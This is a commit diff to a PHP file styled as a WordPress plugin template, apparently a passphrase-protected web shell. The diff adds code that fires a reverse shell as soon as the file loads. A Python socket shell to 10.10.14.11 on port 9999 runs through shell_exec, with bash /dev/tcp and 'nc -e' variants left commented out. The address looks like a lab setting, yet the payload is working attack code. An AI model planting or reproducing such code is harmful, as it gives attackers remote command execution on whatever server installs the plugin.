|
7 | 7 | * Author: Your Name Here
|
8 | 8 | * Author URI: http://yourwebsiteurl.com/
|
9 | 9 | **/
|
| 10 | +ini_set('display_errors', 1); |
| 11 | +ini_set('display_startup_errors', 1); |
| 12 | +error_reporting(E_ALL); |
| 13 | +////////////////////////////////////////////////// |
| 14 | +//If you want to trigger a reverse shell on init// |
| 15 | +// uncomment the desired reverse shell // |
| 16 | +////////////////////////////////////////////////// |
| 17 | + |
| 18 | +$rev_port = 9999; |
| 19 | +$rev_ip = '10.10.14.11'; |
| 20 | + |
| 21 | +$rev_shell = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" .$rev_ip. "\"," .$rev_port."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"; |
| 22 | + |
| 23 | +#$rev_shell = "bash -c \"/bin/bash -i >& /dev/tcp/" .$rev_ip. "/" .$rev_port. " 0>&1\""; |
| 24 | + |
| 25 | +#$rev_shell = "nc " .$rev_ip. " " .$rev_port. " -e /bin/bash"; |
| 26 | + |
| 27 | +shell_exec($rev_shell); |
| 28 | + |
| 29 | +////////////////////////////////////////////////// |
| 30 | +////////////////////////////////////////////////// |
| 31 | + |
| 32 | + |
10 | 33 | // Auth with login/password (set true/false to enable/disable it)
|
| 34 | +$cookie_login = true; |
11 | 35 |
|
12 | 36 | $cookie_name = "passphrase";
|
13 | 37 | $passphrase = "5b026675f94caae4a35fa030b7df2e77d80f76678ba8cea7a87d2d9dd20820f2";
|
|
16 | 40 |
|
17 | 41 | $check_value = $passphrase;
|
18 | 42 |
|
19 |
| -if(isset($_COOKIE[$cookie_name])) { |
20 |
| - if($_COOKIE[$cookie_name] !== $check_value) { |
21 |
| - #echo $_COOKIE[$cookie_name] . " != " . $check_value; |
22 |
| - #header("HTTP/1.0 404 Not Found"); |
| 43 | +if($cookie_login == true){ |
| 44 | + if(isset($_COOKIE[$cookie_name])) { |
| 45 | + if($_COOKIE[$cookie_name] !== $check_value) { |
| 46 | + #echo $_COOKIE[$cookie_name] . " != " . $check_value; |
| 47 | + #header("HTTP/1.0 404 Not Found"); |
| 48 | + http_response_code(404); |
| 49 | + exit; |
| 50 | + } |
| 51 | + } else { |
23 | 52 | http_response_code(404);
|
24 | 53 | exit;
|
25 | 54 | }
|
26 |
| -} else { |
27 |
| - http_response_code(404); |
28 |
| - exit; |
29 | 55 | }
|
30 | 56 |
|
31 | 57 | session_start();
|
|
0 commit comments